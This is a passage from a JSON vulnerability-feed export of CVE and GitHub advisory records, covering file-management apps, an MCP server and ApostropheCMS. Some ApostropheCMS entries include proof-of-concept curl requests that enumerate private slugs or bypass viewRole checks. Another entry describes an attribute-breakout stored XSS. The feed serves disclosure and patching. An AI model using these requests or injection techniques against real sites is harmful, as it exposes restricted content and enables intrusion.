model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114261","cveId":"CVE-2026-114261","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in MomoTommy file-management-system dc9ce1bf27f94b23d906cb1e86ce374dc94ca5df. This issue affects the function index/store/update/destroy of the file...","summary":"A vulnerability was found in MomoTommy file-management-system dc9ce1bf27f94b23d906cb1e86ce374dc94ca5df. This issue affects the function index/store/update/destroy of the file app/Http/Controllers/FileController.php of the component Files API. The manipulation of the argument Request results in missing authentication. The attack can be launched remotely. The exploit has been made public and could be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was found in MomoTommy file-management-system dc9ce1bf27f94b23d906cb1e86ce374dc94ca5df. This issue affects the function index/store/update/destroy of the file app/Http/Controllers/FileController.php of the component Files API. The manipulation of the argument Request results in missing authentication. The attack can be launched remotely. The exploit has been made public and could be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:18:26.397Z","updatedAt":"2026-10-21T18:19:16.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114261","asOf":"2026-10-21T18:19:16.950Z"},"epss":{"probability":0.00514,"percentile":0.43542,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114261&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114261","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114261","type":"primary","publishedAt":"2026-10-21T17:18:26.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114261&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114261, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114259","cveId":"CVE-2026-114259","aliases":[],"kind":"vulnerability","title":"A flaw has been found in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This affects the function save_files of the file admin_class.php.","summary":"A flaw has been found in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This affects the function save_files of the file admin_class.php. Executing a manipulation of the argument Upload can lead to unrestricted upload. It is possible to launch the attack remotely. The exploit has been published and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A flaw has been found in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This affects the function save_files of the file admin_class.php. Executing a manipulation of the argument Upload can lead to unrestricted upload. It is possible to launch the attack remotely. The exploit has been published and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:18:26.057Z","updatedAt":"2026-10-21T18:19:16.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114259","asOf":"2026-10-21T18:19:16.950Z"},"epss":{"probability":0.00301,"percentile":0.22592,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114259&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114259","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114259","type":"primary","publishedAt":"2026-10-21T17:18:26.057Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114259&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114259, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114258","cveId":"CVE-2026-114258","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected by this issue is some unknown functionality of the...","summary":"A vulnerability was detected in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected by this issue is some unknown functionality of the file files.php of the component File Management. Performing a manipulation of the argument fid/id results in sql injection. It is possible to initiate the attack remotely. The exploit is now public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was detected in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected by this issue is some unknown functionality of the file files.php of the component File Management. Performing a manipulation of the argument fid/id results in sql injection. It is possible to initiate the attack remotely. The exploit is now public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:18:25.883Z","updatedAt":"2026-10-21T18:19:16.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114258","asOf":"2026-10-21T18:19:16.950Z"},"epss":{"probability":0.00343,"percentile":0.2757,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114258&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114258","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114258","type":"primary","publishedAt":"2026-10-21T17:18:25.883Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114258&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114258, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114123","cveId":"CVE-2026-114123","aliases":[],"kind":"vulnerability","title":"D365 F&O MCP Server is a Model Context Protocol server for querying Dynamics 365 Finance & Operations X++ code and metadata.","summary":"D365 F&O MCP Server is a Model Context Protocol server for querying Dynamics 365 Finance & Operations X++ code and metadata. Prior to version 1.11.0, the officially documented Azure one-click deployment uses infrastructure/azuredeploy.json and infrastructure/main.bicep to default the apiKey parameter to an empty string and pass it to the App Service API_KEY setting. With API_KEY unset or empty, src/middleware/apiKeyAuth.ts passes requests through without authentication, while src/index.ts binds the HTTP listener to 0.0.0.0 by default. If the deployer leaves the optional key blank and does not add separate network restrictions or upstream authentication, the resulting public App Service allows unauthenticated JSON-RPC tools/call requests to /mcp. The deployment's MCP_SERVER_MODE=read-only setting does not prevent anonymous access to read/search tools, including search, get_object_info, batch_get_info, extension_info, security_info, find_references, and find_event_handlers, exposing indexed proprietary X++ source snippets and metadata. Exposed information can include business logic, extension and event-handler wiring, security-role and privilege structure, and labels originally indexed from PackagesLocalDirectory. Deployments protected by a configured API key, effective upstream authentication, or network restrictions preventing attacker access are outside this unauthenticated exposure scenario. This issue is fixed in version 1.11.0.","detail":"D365 F&O MCP Server is a Model Context Protocol server for querying Dynamics 365 Finance & Operations X++ code and metadata. Prior to version 1.11.0, the officially documented Azure one-click deployment uses infrastructure/azuredeploy.json and infrastructure/main.bicep to default the apiKey parameter to an empty string and pass it to the App Service API_KEY setting. With API_KEY unset or empty, src/middleware/apiKeyAuth.ts passes requests through without authentication, while src/index.ts binds the HTTP listener to 0.0.0.0 by default. If the deployer leaves the optional key blank and does not add separate network restrictions or upstream authentication, the resulting public App Service allows unauthenticated JSON-RPC tools/call requests to /mcp. The deployment's MCP_SERVER_MODE=read-only setting does not prevent anonymous access to read/search tools, including search, get_object_info, batch_get_info, extension_info, security_info, find_references, and find_event_handlers, exposing indexed proprietary X++ source snippets and metadata. Exposed information can include business logic, extension and event-handler wiring, security-role and privilege structure, and labels originally indexed from PackagesLocalDirectory. Deployments protected by a configured API key, effective upstream authentication, or network restrictions preventing attacker access are outside this unauthenticated exposure scenario. This issue is fixed in version 1.11.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:18:25.737Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MCP servers and SDKs"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114123","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00423,"percentile":0.36296,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114123&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114123","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114123","type":"primary","publishedAt":"2026-10-21T17:18:25.737Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114123&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114123, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112952","cveId":"CVE-2026-112952","aliases":["GHSA-f66c-mpj2-3r8h"],"kind":"vulnerability","title":"ApostropheCMS: POST /api/v1/@apostrophecms/doc/slugTaken discloses existence of private/admin-only content to any authenticated user","summary":"A single authenticated session can iterate the slug space to enumerate the full content\ninventory of the CMS, including content the user is explicitly prohibited from viewing.\n\ncurl -b \"$EDITOR_JAR\" -X POST \\\n -H \"Content-Type: application/json\" \\\n -d '{\"slug\":\"zzz-nonexistent\"}' \\\n \"http://TARGET/api/v1/@apostrophecms/doc/slugTaken\"\n# → { \"taken\": false }\n```","detail":"### Summary\nThe `slugTaken` endpoint returns a boolean indicating whether a slug is in use across\nall document types and visibility levels, with no permission or type filter. Any logged-in\nuser (including editors) can enumerate the slug space of private pages, drafts, and\narchived content.\n\n### Details\n`POST /api/v1/@apostrophecms/doc/slugTaken` with body `{ \"slug\": \"target-slug\" }` runs\na raw existence check against the documents collection. It does not:\n- Check whether the requesting user has read permission for documents of that type.\n- Filter by `visibility` (public, loginRequired, private).\n- Filter by `viewRole`.\n- Filter by publication status (draft vs published).\n\nA single authenticated session can iterate the slug space to enumerate the full content\ninventory of the CMS, including content the user is explicitly prohibited from viewing.\n\n### PoC\n```bash\n# Any authenticated session works — editor role sufficient\ncurl -b \"$EDITOR_JAR\" -X POST \\\n -H \"Content-Type: application/json\" \\\n -d '{\"slug\":\"known-private-page-slug\"}' \\\n \"http://TARGET/api/v1/@apostrophecms/doc/slugTaken\"\n# → { \"taken\": true } — confirms private page exists\n\ncurl -b \"$EDITOR_JAR\" -X POST \\\n -H \"Content-Type: application/json\" \\\n -d '{\"slug\":\"zzz-nonexistent\"}' \\\n \"http://TARGET/api/v1/@apostrophecms/doc/slugTaken\"\n# → { \"taken\": false }\n```\n\n### Impact\nInformation disclosure. An attacker with any authenticated session can enumerate all\nslugs in the system, mapping the full content structure of the CMS including private and\nadmin-only content.\n\nAffected package ranges reported by GitHub:\napostrophe: < 4.34.0","action":"GitHub lists first patched versions: apostrophe: 4.34.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T17:17:00.000Z","updatedAt":"2026-10-21T17:17:02.000Z","regions":["Global"],"vendor":null,"product":"apostrophe","stacks":["JavaScript packages (npm)","apostrophe","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-f66c-mpj2-3r8h","asOf":"2026-10-21T17:17:02.000Z"},"epss":{"probability":0.00334,"percentile":0.26551,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112952&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-f66c-mpj2-3r8h","url":"https://github.com/advisories/GHSA-f66c-mpj2-3r8h","type":"primary","publishedAt":"2026-10-21T17:17:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-f66c-mpj2-3r8h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-f66c-mpj2-3r8h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-f66c-mpj2-3r8h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-f66c-mpj2-3r8h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-f66c-mpj2-3r8h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-f66c-mpj2-3r8h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-f66c-mpj2-3r8h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-f66c-mpj2-3r8h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-f66c-mpj2-3r8h, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112952&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112952, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112957","cveId":"CVE-2026-112957","aliases":["GHSA-vh56-5m88-39rq"],"kind":"vulnerability","title":"ApostropheCMS: GET /api/v1/@apostrophecms/page/:id bypasses viewRole restriction and exposes viewPermission-gated fields to lower-privileged users","summary":"A page type declared with `viewRole: 'admin'` is inaccessible via `GET\n/api/v1/@apostrophecms/page?type=secretPage` (returns 403 to an editor) but is fully\nreturned by `GET /api/v1/@apostrophecms/page/:id:en:published` to the same editor.\n\n**Finding 4 — viewPermission field leak:**\nFields decorated with `viewPermission: { action: 'edit', type: '@apostrophecms/page' }`\nare stripped by `removeForbiddenFields` in the `getAll` path but are returned verbatim\nin `getOne`. An editor who knows any document `_id` can read all\n`viewPermission`-restricted fields.","detail":"### Summary\nThe `getOne` REST endpoint for pages does not apply `viewRole` type-level restrictions\nor `viewPermission` field-level redaction. An editor-level user who knows a document\n`_id` can read the full content of admin-only pages and their privileged fields, while\nthe `getAll` endpoint correctly enforces both restrictions.\n\n### Details\n**Finding 3 — viewRole bypass:**\n`modules/@apostrophecms/page/index.js` exposes `getRestQuery(req, omitPermissionCheck =\nfalse)`. The `getAll` path calls `publicApiCheckAsync` and threads the full query builder\npipeline including `viewRole` filtering. The `getOne` path uses a divergent code path\nthat skips this pipeline.\n\nA page type declared with `viewRole: 'admin'` is inaccessible via `GET\n/api/v1/@apostrophecms/page?type=secretPage` (returns 403 to an editor) but is fully\nreturned by `GET /api/v1/@apostrophecms/page/:id:en:published` to the same editor.\n\n**Finding 4 — viewPermission field leak:**\nFields decorated with `viewPermission: { action: 'edit', type: '@apostrophecms/page' }`\nare stripped by `removeForbiddenFields` in the `getAll` path but are returned verbatim\nin `getOne`. An editor who knows any document `_id` can read all\n`viewPermission`-restricted fields.\n\n### PoC\n```bash\n# Log in as editor, get session jar\nEDITOR_JAR=\"...\"\n\n# getAll — correctly blocked\ncurl -b \"$EDITOR_JAR\" \\\n \"http://TARGET/api/v1/@apostrophecms/page?type=secretPage\"\n# → 403 Forbidden\n\n# getOne — bypassed, returns full document including viewPermission fields\ncurl -b \"$EDITOR_JAR\" \\\n \"http://TARGET/api/v1/@apostrophecms/page/ADMIN_PAGE_ID:en:published\"\n# → 200 OK, full doc including secretField value\n```\n\n### Impact\nEditors can read the full content of any page — including those restricted to admins via\n`viewRole` — if they know or can guess the `_id`. Sensitive field values gated by\n`viewPermission` are also fully exposed. This breaks the content access control model\nfor any site using these decorators.\n\nAffected package ranges reported by GitHub:\napostrophe: < 4.34.0","action":"GitHub lists first patched versions: apostrophe: 4.34.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T17:15:21.000Z","updatedAt":"2026-10-21T17:15:22.000Z","regions":["Global"],"vendor":null,"product":"apostrophe","stacks":["JavaScript packages (npm)","apostrophe","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-vh56-5m88-39rq","asOf":"2026-10-21T17:15:22.000Z"},"epss":{"probability":0.00307,"percentile":0.23223,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112957&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-vh56-5m88-39rq","url":"https://github.com/advisories/GHSA-vh56-5m88-39rq","type":"primary","publishedAt":"2026-10-21T17:15:21.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-vh56-5m88-39rq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-vh56-5m88-39rq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-vh56-5m88-39rq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-vh56-5m88-39rq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-vh56-5m88-39rq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-vh56-5m88-39rq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-vh56-5m88-39rq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-vh56-5m88-39rq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-vh56-5m88-39rq, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112957&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112957, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112958","cveId":"CVE-2026-112958","aliases":["GHSA-7jg5-frgc-c67w"],"kind":"vulnerability","title":"ApostropheCMS: Stored XSS via Unescaped Widget Style Attribute Serialization","summary":"ApostropheCMS widget styles support project-defined schema fields. If a project defines a free-form `string` style field with a CSS `property` and no selector, an editor-controlled value is rendered as an inline CSS declaration. The resulting declaration is then inserted into the widget wrapper's `style=\"...\"` attribute without HTML-attribute escaping.\n\nAn attacker who can edit the widget can include a double quote in the style value, terminate the `style` attribute, and inject new HTML event-handler attributes. The payload is stored with the widget and executes in the Apostrophe site origin whenever the affected published page is rendered.","detail":"## Summary\n\nApostropheCMS widget styles support project-defined schema fields. If a project defines a free-form `string` style field with a CSS `property` and no selector, an editor-controlled value is rendered as an inline CSS declaration. The resulting declaration is then inserted into 